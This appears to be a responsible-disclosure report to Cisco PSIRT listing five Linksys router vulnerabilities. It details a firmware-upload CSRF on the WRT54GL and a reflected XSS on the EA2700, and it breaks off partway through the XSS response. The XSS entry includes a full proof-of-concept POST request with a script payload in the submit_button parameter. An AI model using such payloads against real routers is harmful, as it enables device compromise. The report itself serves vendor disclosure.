# Linksys Router Vulnerabilites
Hello Cisco PSIRT,
I would like to report several vulnerabilities in Linksys network equipment. A public advisory regarding these issues may be released 30 days after sending this report. I'm more than happy to help you with testing or verifying these issues if you would like.
1. Linksys WRT54GL Firmware Upload CSRF Vulnerability
2. Linksys EA2700 XSS Vulnerability
3. Linksys EA2700 File Path Traversal Vulnerability
4. Linksys EA2700 Password Change Insufficient Authentication and CSRF Vulnerability
5. Linksys EA2700 Source Code Disclosure Vulnerability
## 1. Linksys WRT54GL Firmware Upload CSRF Vulnerability
### Vulnerable URL
http://192.168.1.1/upgrade.cgi
### Description
Lack of CSRF prevention on the upgrade firmware page could allow for a CSRF attack that replaces the router firmware.
### Proof of Concept
## 2. Linksys EA2700 XSS Vulnerability
### Vulnerable URL
http://192.168.1.1/apply.cgi
### Vulnerable Parameter
submit_button
### Description
Lack of proper parameter value sanitization can result in reflected Cross-Site Scripting (XSS) on the apply.cgi page.
### Proof of Concept
REQUEST
POST /apply.cgi HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 47
submit_button=xss'%3balert(1)//934&action=Apply
RESPONSE
HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Date: Wed, 29 Jun 2011 17:37:39 GMT
Server: lighttpd/1.4.28
Content-Length: 32467
[